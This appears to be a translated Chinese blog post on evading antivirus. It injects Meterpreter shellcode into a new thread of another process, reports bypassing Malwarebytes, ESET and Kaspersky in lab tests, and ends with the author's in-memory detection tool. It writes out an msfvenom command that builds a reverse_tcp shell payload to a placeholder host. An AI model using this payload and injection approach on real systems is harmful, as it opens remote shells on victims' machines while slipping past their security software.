在這篇文章中我不想一步一步解釋我編寫的C#代碼,但是我會展示下它能夠繞過殺毒軟件,并且操作非常簡單,而且實用。
首先說明一下:
1.?我是在三年前發現這個攻擊方法的,當我在做免殺的時候我發現了很多都是以0x0地址開始的進程。在我的win7系統中這種惡意代碼繞過了我的殺毒軟件,只是在內存中可以找到,然后以系統權限運行。所以,當然是NSA干的咯!
2.?這并不意味著以0x0開始的進程都是進行惡意注入的。
就像剛才所說,我不會將我的”NativePayload_Tinjection.exe”代碼分享出來,不過我會闡述下如何在C++,C#或者其他語言如何進行編寫攻擊poc。
下圖中你可以看到當遠程進程加載時發生了什么事情,他已經一步一步的展示出來。并且你可以使用C#或者其他語言提供的windowsAPI很簡單的實現。
上圖中的”evil.dll”是我們通過msfvenom生成的攻擊載荷,在kali linux中可以使用以下命令:
Msfvenom?–platform?windows?–arch?x86_64?-p?windows/x64/meterpreter/reverse_tcp?lhost=w.x.y.z?-f?c?>?payload.txt
下一步驟就是將生成的payload通過新的線程注入到另外一個新的進程中去連接遠程主機。
我接下來會將我寫的代碼進行免殺測試,使用最新的殺毒軟件。我采用的實驗環境是“Win 8.1”,殺毒軟件有:“Malwarebytes”、“ESET”、“Kaspersky”。接下來你可以看到,我是怎么簡單繞過這三個殺毒軟件。
實驗一:測試Malwarebyte3.1.2 版本
通過注入線程,我們可以繞過殺軟。在這個環境下,我的meterpreter payload通過TID為4268的線程注入到PID為2492的進程,名叫mspaint.exe中。
就像你在上圖看到,當產生meterpreter 會話進程之后會在受害機中產生mspaint.exe進程。同時也可以發現TID為4268的線程開始地址為0X0。如果你結束掉TID 4268的線程,那么meterpreter會話就會立馬結束。
實驗二:測試ESET-Nod3210.1.204.0版本
下圖中你可以看到,ESET已經更新到了最近版本”20170516”,不過并沒有什么用,我同樣將meterpreter攻擊載荷通過TID 3932線程注入到了PID為3168的notepad進程中。
實驗三:測試Kaspersky v17版本
同樣,Kaspersky已經是最新版本v17.0.0.611,漏洞庫為”20170516”。不過同樣被繞過了。meterpreter通過TID 2932線程注入到了PID為1200進程中.
實驗3-1:Kaspersky internet security v17 漏洞庫05182017版本
同樣被繞過了,即使殺毒軟件顯示:您的電腦正在被保護。
那么如何檢測這種攻擊呢?
我自己寫了一個軟件”Meterpreter_Payload_Detection.exe”,它會在內存識別meterpreter簽名,進而發現后門,然后清除。
在下圖中你可后門發現繞過ESET-Nod32殺毒軟件之后,會被Meterpreter_Payload_Detection.exe攔截。所以個人感覺殺毒軟件在內存掃描這一方面做的不是很完備。
上圖中,你可以在我軟件的界面找到注入到內存的進程,即PID為2116的進程,以及TID為2820的線程。
紅顏色字體展示了在內存中掃描簽名,當然這也許不是最好的方法檢測惡意軟件,但是到現在為止,這個工具針對內存檢測做的比現有的殺毒軟件要好。